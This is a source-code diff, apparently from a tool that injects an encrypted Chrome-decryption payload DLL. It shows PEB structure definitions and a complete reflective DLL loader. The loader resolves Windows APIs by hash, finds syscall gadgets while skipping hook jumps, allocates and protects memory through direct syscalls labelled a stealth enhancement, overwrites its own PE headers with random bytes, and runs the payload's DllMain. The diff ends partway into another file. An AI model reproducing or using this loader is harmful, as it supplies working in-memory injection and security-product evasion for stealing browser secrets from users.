BOOLEAN BitField;
|
||||
struct
|
||||
{
|
||||
BOOLEAN ImageUsesLargePages : 1;
|
||||
BOOLEAN IsProtectedProcess : 1;
|
||||
BOOLEAN IsImageDynamicallyRelocated : 1;
|
||||
BOOLEAN SkipPatchingUser32Forwarders : 1;
|
||||
BOOLEAN IsPackagedProcess : 1;
|
||||
BOOLEAN IsAppContainer : 1;
|
||||
BOOLEAN IsProtectedProcessLight : 1;
|
||||
BOOLEAN IsLongPathAware : 1;
|
||||
};
|
||||
};
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA_LDR Ldr;
|
||||
PVOID ProcessParameters;
|
||||
PVOID SubSystemData;
|
||||
PVOID ProcessHeap;
|
||||
PVOID FastPebLock;
|
||||
PVOID AtlThunkSListPtr;
|
||||
PVOID IFEOKey;
|
||||
union
|
||||
{
|
||||
ULONG CrossProcessFlags;
|
||||
struct
|
||||
{
|
||||
ULONG ProcessInJob : 1;
|
||||
ULONG ProcessInitializing : 1;
|
||||
ULONG ProcessUsingVEH : 1;
|
||||
ULONG ProcessUsingVCH : 1;
|
||||
ULONG ProcessUsingFTH : 1;
|
||||
ULONG ProcessPreviouslyThrottled : 1;
|
||||
ULONG ProcessCurrentlyThrottled : 1;
|
||||
ULONG ProcessImagesHotPatched : 1;
|
||||
ULONG ReservedBits0 : 24;
|
||||
};
|
||||
};
|
||||
union
|
||||
{
|
||||
PVOID KernelCallbackTable;
|
||||
PVOID UserSharedInfoPtr;
|
||||
};
|
||||
ULONG SystemReserved;
|
||||
ULONG AtlThunkSListPtr32;
|
||||
PVOID ApiSetMap;
|
||||
ULONG TlsExpansionCounter;
|
||||
PVOID TlsBitmap;
|
||||
ULONG TlsBitmapBits[2];
|
||||
PVOID ReadOnlySharedMemoryBase;
|
||||
PVOID SharedData;
|
||||
PVOID *ReadOnlyStaticServerData;
|
||||
PVOID AnsiCodePageData;
|
||||
PVOID OemCodePageData;
|
||||
PVOID UnicodeCaseTableData;
|
||||
ULONG NumberOfProcessors;
|
||||
ULONG NtGlobalFlag;
|
||||
LARGE_INTEGER CriticalSectionTimeout;
|
||||
SIZE_T HeapSegmentReserve;
|
||||
SIZE_T HeapSegmentCommit;
|
||||
SIZE_T HeapDeCommitTotalFreeThreshold;
|
||||
SIZE_T HeapDeCommitFreeBlockThreshold;
|
||||
ULONG NumberOfHeaps;
|
||||
ULONG MaximumNumberOfHeaps;
|
||||
PVOID *ProcessHeaps;
|
||||
PVOID GdiSharedHandleTable;
|
||||
PVOID ProcessStarterHelper;
|
||||
ULONG GdiDCAttributeList;
|
||||
PVOID LoaderLock;
|
||||
ULONG OSMajorVersion;
|
||||
ULONG OSMinorVersion;
|
||||
USHORT OSBuildNumber;
|
||||
USHORT OSCSDVersion;
|
||||
ULONG OSPlatformId;
|
||||
ULONG ImageSubsystem;
|
||||
ULONG ImageSubsystemMajorVersion;
|
||||
ULONG ImageSubsystemMinorVersion;
|
||||
ULONG_PTR ActiveProcessAffinityMask;
|
||||
ULONG GdiHandleBuffer[60];
|
||||
PVOID PostProcessInitRoutine;
|
||||
PVOID TlsExpansionBitmap;
|
||||
ULONG TlsExpansionBitmapBits[32];
|
||||
ULONG SessionId;
|
||||
ULARGE_INTEGER AppCompatFlags;
|
||||
ULARGE_INTEGER AppCompatFlagsUser;
|
||||
PVOID pShimData;
|
||||
PVOID AppCompatInfo;
|
||||
UNICODE_STRING_LDR CSDVersion;
|
||||
PVOID ActivationContextData;
|
||||
PVOID ProcessAssemblyStorageMap;
|
||||
PVOID SystemDefaultActivationContextData;
|
||||
PVOID SystemAssemblyStorageMap;
|
||||
SIZE_T MinimumStackCommit;
|
||||
PVOID SparePointers[2];
|
||||
PVOID PatchLoaderData;
|
||||
PVOID ChpeV2ProcessInfo;
|
||||
ULONG AppModelFeatureState;
|
||||
ULONG SpareUlongs[2];
|
||||
USHORT ActiveConsoleId;
|
||||
USHORT AppCompatVersionInfo;
|
||||
PVOID ExtendedProcessInfo;
|
||||
} PEB_LDR, *PPEB_LDR;
|
||||
|
||||
typedef struct _IMAGE_RELOC_ENTRY
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
|
||||
|
||||
#endif
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
// resource.rc
|
||||
// v0.16.0 (c) Alexander 'xaitax' Hagenah
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
PAYLOAD_DLL RCDATA "chrome_decrypt.enc"
|
||||
|
||||
@@ -0,0 +1,505 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "bootstrap.hpp"
|
||||
#include <intrin.h>
|
||||
#include <cstdint>
|
||||
|
||||
#pragma intrinsic(_ReturnAddress)
|
||||
#pragma intrinsic(_rotr)
|
||||
|
||||
namespace {
|
||||
|
||||
constexpr DWORD HASH_KEY = 13;
|
||||
|
||||
constexpr DWORD ror(DWORD d, int n) {
|
||||
return (d >> n) | (d << (32 - n));
|
||||
}
|
||||
|
||||
constexpr DWORD hash(const char* str) {
|
||||
DWORD h = 0;
|
||||
while (*str) {
|
||||
h = ror(h, HASH_KEY);
|
||||
h += *str++;
|
||||
}
|
||||
return h;
|
||||
}
|
||||
|
||||
constexpr DWORD H_KERNEL32 = 0x6A4ABC5B;
|
||||
constexpr DWORD H_NTDLL = 0x3CFA685D;
|
||||
constexpr DWORD H_LOADLIBRARYA = 0xEC0E4E8E;
|
||||
constexpr DWORD H_GETPROCADDRESS= 0x7C0DFCAA;
|
||||
constexpr DWORD H_VIRTUALALLOC = 0x91AFCA54;
|
||||
constexpr DWORD H_VIRTUALPROTECT= hash("VirtualProtect"); // 0x7946C61B
|
||||
constexpr DWORD H_FLUSHCACHE = 0x534C0AB8;
|
||||
|
||||
using LoadLibraryA_t = HMODULE(WINAPI*)(LPCSTR);
|
||||
using GetProcAddress_t = FARPROC(WINAPI*)(HMODULE, LPCSTR);
|
||||
using VirtualAlloc_t = LPVOID(WINAPI*)(LPVOID, SIZE_T, DWORD, DWORD);
|
||||
using VirtualProtect_t = BOOL(WINAPI*)(LPVOID, SIZE_T, DWORD, PDWORD);
|
||||
using NTSTATUS = LONG;
|
||||
using NtFlushInstructionCache_t = NTSTATUS(NTAPI*)(HANDLE, PVOID, ULONG);
|
||||
using DllMain_t = BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID);
|
||||
|
||||
using NtAllocateVirtualMemory_t = NTSTATUS(NTAPI*)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
using NtProtectVirtualMemory_t = NTSTATUS(NTAPI*)(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
|
||||
|
||||
struct UNICODE_STR {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
};
|
||||
|
||||
struct LDR_DATA_TABLE_ENTRY_LITE {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STR FullDllName;
|
||||
UNICODE_STR BaseDllName;
|
||||
};
|
||||
|
||||
struct PEB_LDR_DATA_LITE {
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
HANDLE SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
};
|
||||
|
||||
struct PEB_LITE {
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
BOOLEAN BitField;
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
PEB_LDR_DATA_LITE* Ldr;
|
||||
};
|
||||
|
||||
struct IMAGE_RELOC {
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
};
|
||||
|
||||
__forceinline DWORD CalcHash(char* c) {
|
||||
DWORD h = 0;
|
||||
do {
|
||||
h = _rotr(h, HASH_KEY);
|
||||
h += *c;
|
||||
} while (*++c);
|
||||
return h;
|
||||
}
|
||||
|
||||
struct MinimalSyscall {
|
||||
PVOID pGadget;
|
||||
WORD ssn;
|
||||
};
|
||||
|
||||
__forceinline MinimalSyscall ResolveSyscall(ULONG_PTR ntdllBase, DWORD nameHash) {
|
||||
MinimalSyscall result = { nullptr, 0 };
|
||||
|
||||
auto ntHdr = reinterpret_cast<PIMAGE_NT_HEADERS>(
|
||||
ntdllBase + reinterpret_cast<PIMAGE_DOS_HEADER>(ntdllBase)->e_lfanew
|
||||
);
|
||||
auto expDir = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(
|
||||
ntdllBase + ntHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress
|
||||
);
|
||||
|
||||
auto names = reinterpret_cast<DWORD*>(ntdllBase + expDir->AddressOfNames);
|
||||
auto funcs = reinterpret_cast<DWORD*>(ntdllBase + expDir->AddressOfFunctions);
|
||||
auto ords = reinterpret_cast<WORD*>(ntdllBase + expDir->AddressOfNameOrdinals);
|
||||
|
||||
struct ZwFunc { PVOID addr; DWORD hash; };
|
||||
ZwFunc zwFuncs[512];
|
||||
DWORD zwCount = 0;
|
||||
|
||||
for (DWORD i = 0; i < expDir->NumberOfNames && zwCount < 512; i++) {
|
||||
char* name = reinterpret_cast<char*>(ntdllBase + names[i]);
|
||||
if (name[0] == 'Z' && name[1] == 'w') {
|
||||
zwFuncs[zwCount].addr = reinterpret_cast<PVOID>(ntdllBase + funcs[ords[i]]);
|
||||
zwFuncs[zwCount].hash = CalcHash(name);
|
||||
zwCount++;
|
||||
}
|
||||
}
|
||||
|
||||
for (DWORD i = 0; i < zwCount - 1; i++) {
|
||||
for (DWORD j = 0; j < zwCount - i - 1; j++) {
|
||||
if (reinterpret_cast<ULONG_PTR>(zwFuncs[j].addr) >
|
||||
reinterpret_cast<ULONG_PTR>(zwFuncs[j + 1].addr)) {
|
||||
ZwFunc temp = zwFuncs[j];
|
||||
zwFuncs[j] = zwFuncs[j + 1];
|
||||
zwFuncs[j + 1] = temp;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (WORD ssn = 0; ssn < zwCount; ssn++) {
|
||||
if (zwFuncs[ssn].hash == nameHash) {
|
||||
auto bytes = reinterpret_cast<uint8_t*>(zwFuncs[ssn].addr);
|
||||
|
||||
#if defined(_M_X64)
|
||||
// Look for: syscall; ret (0F 05 C3)
|
||||
for (int offset = 0; offset < 64; offset++) {
|
||||
if (bytes[offset] == 0x0F && bytes[offset + 1] == 0x05 && bytes[offset + 2] == 0xC3) {
|
||||
result.pGadget = bytes + offset;
|
||||
result.ssn = ssn;
|
||||
return result;
|
||||
}
|
||||
// Skip JMP hooks (E9 xx xx xx xx)
|
||||
if (bytes[offset] == 0xE9) offset += 4;
|
||||
}
|
||||
#elif defined(_M_ARM64)
|
||||
// Look for: svc #imm; ret (d4000001 d65f03c0 or similar)
|
||||
for (int offset = 0; offset <= 64; offset += 4) {
|
||||
uint32_t instr = *reinterpret_cast<uint32_t*>(bytes + offset);
|
||||
uint32_t nextInstr = *reinterpret_cast<uint32_t*>(bytes + offset + 4);
|
||||
if ((instr & 0xFF000000) == 0xD4000000 && nextInstr == 0xD65F03C0) {
|
||||
result.pGadget = bytes + offset;
|
||||
result.ssn = ssn;
|
||||
return result;
|
||||
}
|
||||
}
|
||||
#endif
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Inline syscall execution (x64 only - ARM64 will use function pointer approach)
|
||||
__forceinline NTSTATUS ExecuteSyscall_Alloc(MinimalSyscall& sc, HANDLE hProcess,
|
||||
PVOID* baseAddr, ULONG_PTR zeroBits,
|
||||
PSIZE_T regionSize, ULONG allocType, ULONG protect) {
|
||||
#if defined(_M_X64)
|
||||
volatile NTSTATUS status;
|
||||
__asm {
|
||||
mov r10, rcx
|
||||
mov eax, sc.ssn
|
||||
mov rcx, hProcess
|
||||
mov rdx, baseAddr
|
||||
mov r8, zeroBits
|
||||
mov r9, regionSize
|
||||
; Args 5-6 on stack already
|
||||
call sc.pGadget
|
||||
mov status, eax
|
||||
}
|
||||
return status;
|
||||
#elif defined(_M_ARM64)
|
||||
// ARM64: Cast gadget to function pointer and call directly
|
||||
// MSVC ARM64 doesn't support inline asm, so we use indirect call
|
||||
auto pSyscall = reinterpret_cast<NtAllocateVirtualMemory_t>(sc.pGadget);
|
||||
// Note: SSN is already set in syscall stub at gadget location
|
||||
return pSyscall(hProcess, baseAddr, zeroBits, regionSize, allocType, protect);
|
||||
#else
|
||||
return -1; // Unsupported architecture
|
||||
#endif
|
||||
}
|
||||
|
||||
__forceinline NTSTATUS ExecuteSyscall_Protect(MinimalSyscall& sc, HANDLE hProcess,
|
||||
PVOID* baseAddr, PSIZE_T regionSize,
|
||||
ULONG newProtect, PULONG oldProtect) {
|
||||
#if defined(_M_X64)
|
||||
volatile NTSTATUS status;
|
||||
__asm {
|
||||
mov r10, rcx
|
||||
mov eax, sc.ssn
|
||||
mov rcx, hProcess
|
||||
mov rdx, baseAddr
|
||||
mov r8, regionSize
|
||||
mov r9, newProtect
|
||||
; oldProtect on stack already
|
||||
call sc.pGadget
|
||||
mov status, eax
|
||||
}
|
||||
return status;
|
||||
#elif defined(_M_ARM64)
|
||||
// ARM64: Cast gadget to function pointer and call directly
|
||||
auto pSyscall = reinterpret_cast<NtProtectVirtualMemory_t>(sc.pGadget);
|
||||
return pSyscall(hProcess, baseAddr, regionSize, newProtect, oldProtect);
|
||||
#else
|
||||
return -1;
|
||||
#endif
|
||||
}
|
||||
|
||||
// Pre-computed hashes for syscalls we need
|
||||
constexpr DWORD H_ZwAllocateVirtualMemory = 0x54B3D07F; // hash("ZwAllocateVirtualMemory")
|
||||
constexpr DWORD H_ZwProtectVirtualMemory = 0x50E92888; // hash("ZwProtectVirtualMemory")
|
||||
|
||||
__forceinline DWORD CalcHashModule(UNICODE_STR* name) {
|
||||
DWORD h = 0;
|
||||
USHORT len = name->Length;
|
||||
BYTE* buf = (BYTE*)name->Buffer;
|
||||
|
||||
do {
|
||||
h = _rotr(h, HASH_KEY);
|
||||
if (*buf >= 'a' && *buf <= 'z') h += (*buf - 0x20);
|
||||
else h += *buf;
|
||||
buf++;
|
||||
} while (--len);
|
||||
return h;
|
||||
}
|
||||
|
||||
__declspec(noinline) ULONG_PTR GetIp() {
|
||||
return (ULONG_PTR)_ReturnAddress();
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
extern "C" DLLEXPORT ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) {
|
||||
LoadLibraryA_t pLoadLibraryA = nullptr;
|
||||
GetProcAddress_t pGetProcAddress = nullptr;
|
||||
VirtualAlloc_t pVirtualAlloc = nullptr;
|
||||
VirtualProtect_t pVirtualProtect = nullptr;
|
||||
NtFlushInstructionCache_t pNtFlushInstructionCache = nullptr;
|
||||
|
||||
ULONG_PTR base = GetIp();
|
||||
ULONG_PTR peb = 0;
|
||||
ULONG_PTR k32Base = 0;
|
||||
ULONG_PTR ntdllBase = 0;
|
||||
|
||||
// 1. Find our own base address (MZ header)
|
||||
while (true) {
|
||||
auto dos = reinterpret_cast<PIMAGE_DOS_HEADER>(base);
|
||||
if (dos->e_magic == IMAGE_DOS_SIGNATURE) {
|
||||
auto nt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + dos->e_lfanew);
|
||||
if (nt->Signature == IMAGE_NT_SIGNATURE) break;
|
||||
}
|
||||
base--;
|
||||
}
|
||||
|
||||
// 2. Get PEB
|
||||
#if defined(_M_X64)
|
||||
peb = __readgsqword(0x60);
|
||||
#elif defined(_M_ARM64)
|
||||
peb = __readx18qword(0x60);
|
||||
#else
|
||||
return 0;
|
||||
#endif
|
||||
|
||||
// 3. Find Kernel32 and Ntdll
|
||||
auto ldr = reinterpret_cast<PEB_LITE*>(peb)->Ldr;
|
||||
auto head = &ldr->InMemoryOrderModuleList;
|
||||
auto curr = head->Flink;
|
||||
|
||||
while (curr != head && (!k32Base || !ntdllBase)) {
|
||||
auto entry = CONTAINING_RECORD(curr, LDR_DATA_TABLE_ENTRY_LITE, InMemoryOrderLinks);
|
||||
|
||||
if (entry->BaseDllName.Length > 0) {
|
||||
DWORD h = CalcHashModule(&entry->BaseDllName);
|
||||
if (h == H_KERNEL32) k32Base = reinterpret_cast<ULONG_PTR>(entry->DllBase);
|
||||
else if (h == H_NTDLL) ntdllBase = reinterpret_cast<ULONG_PTR>(entry->DllBase);
|
||||
}
|
||||
curr = curr->Flink;
|
||||
}
|
||||
|
||||
if (!k32Base || !ntdllBase) return 0;
|
||||
|
||||
MinimalSyscall scAlloc = ResolveSyscall(ntdllBase, H_ZwAllocateVirtualMemory);
|
||||
MinimalSyscall scProtect = ResolveSyscall(ntdllBase, H_ZwProtectVirtualMemory);
|
||||
|
||||
if (!scAlloc.pGadget || !scProtect.pGadget) {
|
||||
// Fallback to hooked APIs if syscalls fail (better than crashing)
|
||||
// Continue to resolve VirtualAlloc/VirtualProtect as backup
|
||||
}
|
||||
|
||||
// 4. Resolve Kernel32 Imports (now only LoadLibrary and GetProcAddress are critical)
|
||||
auto ResolveImports = [](ULONG_PTR moduleBase, auto& loadLib, auto& getProc, auto& virtAlloc, auto& virtProtect) {
|
||||
auto nt = reinterpret_cast<PIMAGE_NT_HEADERS>(moduleBase + reinterpret_cast<PIMAGE_DOS_HEADER>(moduleBase)->e_lfanew);
|
||||
auto exp = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(moduleBase + nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
auto names = reinterpret_cast<DWORD*>(moduleBase + exp->AddressOfNames);
|
||||
auto funcs = reinterpret_cast<DWORD*>(moduleBase + exp->AddressOfFunctions);
|
||||
auto ords = reinterpret_cast<WORD*>(moduleBase + exp->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < exp->NumberOfNames; i++) {
|
||||
char* name = reinterpret_cast<char*>(moduleBase + names[i]);
|
||||
DWORD h = CalcHash(name);
|
||||
|
||||
if (h == H_LOADLIBRARYA) loadLib = reinterpret_cast<LoadLibraryA_t>(moduleBase + funcs[ords[i]]);
|
||||
else if (h == H_GETPROCADDRESS) getProc = reinterpret_cast<GetProcAddress_t>(moduleBase + funcs[ords[i]]);
|
||||
else if (h == H_VIRTUALALLOC) virtAlloc = reinterpret_cast<VirtualAlloc_t>(moduleBase + funcs[ords[i]]);
|
||||
else if (h == H_VIRTUALPROTECT) virtProtect = reinterpret_cast<VirtualProtect_t>(moduleBase + funcs[ords[i]]);
|
||||
}
|
||||
};
|
||||
|
||||
ResolveImports(k32Base, pLoadLibraryA, pGetProcAddress, pVirtualAlloc, pVirtualProtect);
|
||||
|
||||
if (!pLoadLibraryA || !pGetProcAddress || !pVirtualAlloc || !pVirtualProtect) return 0;
|
||||
|
||||
// 5. Resolve Ntdll Imports (FlushInstructionCache)
|
||||
auto ntNtdll = reinterpret_cast<PIMAGE_NT_HEADERS>(ntdllBase + reinterpret_cast<PIMAGE_DOS_HEADER>(ntdllBase)->e_lfanew);
|
||||
auto expNtdll = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(ntdllBase + ntNtdll->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||
auto namesNtdll = reinterpret_cast<DWORD*>(ntdllBase + expNtdll->AddressOfNames);
|
||||
auto funcsNtdll = reinterpret_cast<DWORD*>(ntdllBase + expNtdll->AddressOfFunctions);
|
||||
auto ordsNtdll = reinterpret_cast<WORD*>(ntdllBase + expNtdll->AddressOfNameOrdinals);
|
||||
|
||||
for (DWORD i = 0; i < expNtdll->NumberOfNames; i++) {
|
||||
char* name = reinterpret_cast<char*>(ntdllBase + namesNtdll[i]);
|
||||
if (CalcHash(name) == H_FLUSHCACHE) {
|
||||
pNtFlushInstructionCache = reinterpret_cast<NtFlushInstructionCache_t>(ntdllBase + funcsNtdll[ordsNtdll[i]]);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!pNtFlushInstructionCache) return 0;
|
||||
|
||||
// 6. Allocate Memory via DIRECT SYSCALL (CRITICAL STEALTH ENHANCEMENT)
|
||||
auto oldNt = reinterpret_cast<PIMAGE_NT_HEADERS>(base + reinterpret_cast<PIMAGE_DOS_HEADER>(base)->e_lfanew);
|
||||
|
||||
PVOID newBase = nullptr;
|
||||
SIZE_T allocSize = oldNt->OptionalHeader.SizeOfImage;
|
||||
NTSTATUS status = -1;
|
||||
|
||||
if (scAlloc.pGadget) {
|
||||
status = ExecuteSyscall_Alloc(scAlloc, reinterpret_cast<HANDLE>(-1),
|
||||
&newBase, 0, &allocSize,
|
||||
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
}
|
||||
|
||||
if (status != 0 || !newBase) {
|
||||
if (pVirtualAlloc) {
|
||||
newBase = pVirtualAlloc(NULL, allocSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
}
|
||||
}
|
||||
|
||||
if (!newBase) return 0;
|
||||
|
||||
ULONG_PTR newBaseAddr = reinterpret_cast<ULONG_PTR>(newBase);
|
||||
|
||||
// 7. Copy Headers (will be destroyed later)
|
||||
auto src = reinterpret_cast<BYTE*>(base);
|
||||
auto dst = reinterpret_cast<BYTE*>(newBaseAddr);
|
||||
for (DWORD i = 0; i < oldNt->OptionalHeader.SizeOfHeaders; i++) {
|
||||
dst[i] = src[i];
|
||||
}
|
||||
|
||||
// 8. Copy Sections
|
||||
auto sec = IMAGE_FIRST_SECTION(oldNt);
|
||||
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
|
||||
src = reinterpret_cast<BYTE*>(base + sec[i].PointerToRawData);
|
||||
dst = reinterpret_cast<BYTE*>(newBaseAddr + sec[i].VirtualAddress);
|
||||
for (DWORD j = 0; j < sec[i].SizeOfRawData; j++) {
|
||||
dst[j] = src[j];
|
||||
}
|
||||
}
|
||||
|
||||
DWORD entryPointRva = oldNt->OptionalHeader.AddressOfEntryPoint;
|
||||
DWORD imageSize = oldNt->OptionalHeader.SizeOfImage;
|
||||
|
||||
// 9. Process Relocations
|
||||
ULONG_PTR delta = newBaseAddr - oldNt->OptionalHeader.ImageBase;
|
||||
auto relocDir = &oldNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
|
||||
|
||||
if (relocDir->Size > 0 && delta != 0) {
|
||||
auto reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(newBaseAddr + relocDir->VirtualAddress);
|
||||
while (reloc->VirtualAddress) {
|
||||
DWORD count = (reloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
|
||||
auto entry = reinterpret_cast<IMAGE_RELOC*>(reinterpret_cast<ULONG_PTR>(reloc) + sizeof(IMAGE_BASE_RELOCATION));
|
||||
for (DWORD k = 0; k < count; k++) {
|
||||
#if defined(_M_X64) || defined(_M_ARM64)
|
||||
if (entry[k].type == IMAGE_REL_BASED_DIR64) {
|
||||
*reinterpret_cast<ULONG_PTR*>(newBaseAddr + reloc->VirtualAddress + entry[k].offset) += delta;
|
||||
}
|
||||
#else
|
||||
if (entry[k].type == IMAGE_REL_BASED_HIGHLOW) {
|
||||
*reinterpret_cast<DWORD*>(newBaseAddr + reloc->VirtualAddress + entry[k].offset) += static_cast<DWORD>(delta);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
reloc = reinterpret_cast<PIMAGE_BASE_RELOCATION>(reinterpret_cast<ULONG_PTR>(reloc) + reloc->SizeOfBlock);
|
||||
}
|
||||
}
|
||||
|
||||
// 10. Resolve Imports
|
||||
auto importDir = &oldNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||
if (importDir->Size > 0) {
|
||||
auto import = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(newBaseAddr + importDir->VirtualAddress);
|
||||
while (import->Name) {
|
||||
char* modName = reinterpret_cast<char*>(newBaseAddr + import->Name);
|
||||
HINSTANCE hMod = pLoadLibraryA(modName);
|
||||
if (hMod) {
|
||||
auto origThunk = reinterpret_cast<PIMAGE_THUNK_DATA>(newBaseAddr + import->OriginalFirstThunk);
|
||||
auto thunk = reinterpret_cast<PIMAGE_THUNK_DATA>(newBaseAddr + import->FirstThunk);
|
||||
if (!origThunk) origThunk = thunk;
|
||||
|
||||
while (origThunk->u1.AddressOfData) {
|
||||
FARPROC func;
|
||||
if (IMAGE_SNAP_BY_ORDINAL(origThunk->u1.Ordinal)) {
|
||||
func = pGetProcAddress(hMod, reinterpret_cast<LPCSTR>(origThunk->u1.Ordinal & 0xFFFF));
|
||||
} else {
|
||||
auto ibn = reinterpret_cast<PIMAGE_IMPORT_BY_NAME>(newBaseAddr + origThunk->u1.AddressOfData);
|
||||
func = pGetProcAddress(hMod, ibn->Name);
|
||||
}
|
||||
thunk->u1.Function = reinterpret_cast<ULONG_PTR>(func);
|
||||
origThunk++;
|
||||
thunk++;
|
||||
}
|
||||
}
|
||||
import++;
|
||||
}
|
||||
}
|
||||
|
||||
auto newNtHdr = reinterpret_cast<PIMAGE_NT_HEADERS>(newBaseAddr +
|
||||
reinterpret_cast<PIMAGE_DOS_HEADER>(newBaseAddr)->e_lfanew);
|
||||
DWORD headerSize = newNtHdr->OptionalHeader.SizeOfHeaders;
|
||||
|
||||
auto headerBytes = reinterpret_cast<BYTE*>(newBaseAddr);
|
||||
|
||||
// Get entropy seed (platform-agnostic)
|
||||
#if defined(_M_X64)
|
||||
ULONG_PTR seed = __rdtsc();
|
||||
#elif defined(_M_ARM64)
|
||||
LARGE_INTEGER perfCounter;
|
||||
perfCounter.QuadPart = 0;
|
||||
// Fallback: use base address as seed if no perf counter
|
||||
ULONG_PTR seed = newBaseAddr ^ reinterpret_cast<ULONG_PTR>(&seed);
|
||||
#else
|
||||
ULONG_PTR seed = reinterpret_cast<ULONG_PTR>(&seed);
|
||||
#endif
|
||||
|
||||
for (DWORD i = 0; i < headerSize; i++) {
|
||||
// Generate pseudo-random byte using simple LCG
|
||||
seed = seed * 1103515245 + 12345;
|
||||
headerBytes[i] = static_cast<BYTE>((seed >> 16) & 0xFF);
|
||||
}
|
||||
|
||||
// 11. Finalize Sections via DIRECT SYSCALL (Set Permissions)
|
||||
// Uses NtProtectVirtualMemory instead of hooked VirtualProtect
|
||||
sec = IMAGE_FIRST_SECTION(oldNt);
|
||||
for (WORD i = 0; i < oldNt->FileHeader.NumberOfSections; i++) {
|
||||
ULONG oldProtect;
|
||||
ULONG newProtect = PAGE_READONLY;
|
||||
|
||||
if (sec[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
if (sec[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
} else {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
} else if (sec[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
|
||||
PVOID sectionBase = reinterpret_cast<PVOID>(newBaseAddr + sec[i].VirtualAddress);
|
||||
SIZE_T sectionSize = sec[i].Misc.VirtualSize;
|
||||
|
||||
if (scProtect.pGadget) {
|
||||
// Use direct syscall
|
||||
ExecuteSyscall_Protect(scProtect, reinterpret_cast<HANDLE>(-1),
|
||||
§ionBase, §ionSize, newProtect, &oldProtect);
|
||||
} else if (pVirtualProtect) {
|
||||
// Fallback to hooked API
|
||||
pVirtualProtect(sectionBase, sectionSize, newProtect, &oldProtect);
|
||||
}
|
||||
}
|
||||
|
||||
// 12. Call DllMain
|
||||
auto pDllMain = reinterpret_cast<DllMain_t>(newBaseAddr + entryPointRva);
|
||||
pNtFlushInstructionCache(reinterpret_cast<HANDLE>(-1), NULL, 0);
|
||||
pDllMain(reinterpret_cast<HINSTANCE>(newBaseAddr), DLL_PROCESS_ATTACH, lpParameter);
|
||||
|
||||
return newBaseAddr;
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#pragma once
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#define DLLEXPORT __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXPORT
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
DLLEXPORT ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,230 @@
|
||||
// (c) Alexander 'xaitax' Hagenah
|
||||
// Licensed under the MIT License. See LICENSE file in the project root for full license information.
|
||||
|
||||
#include "internal_api.hpp"
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
|
||||
// Global instance definition
|
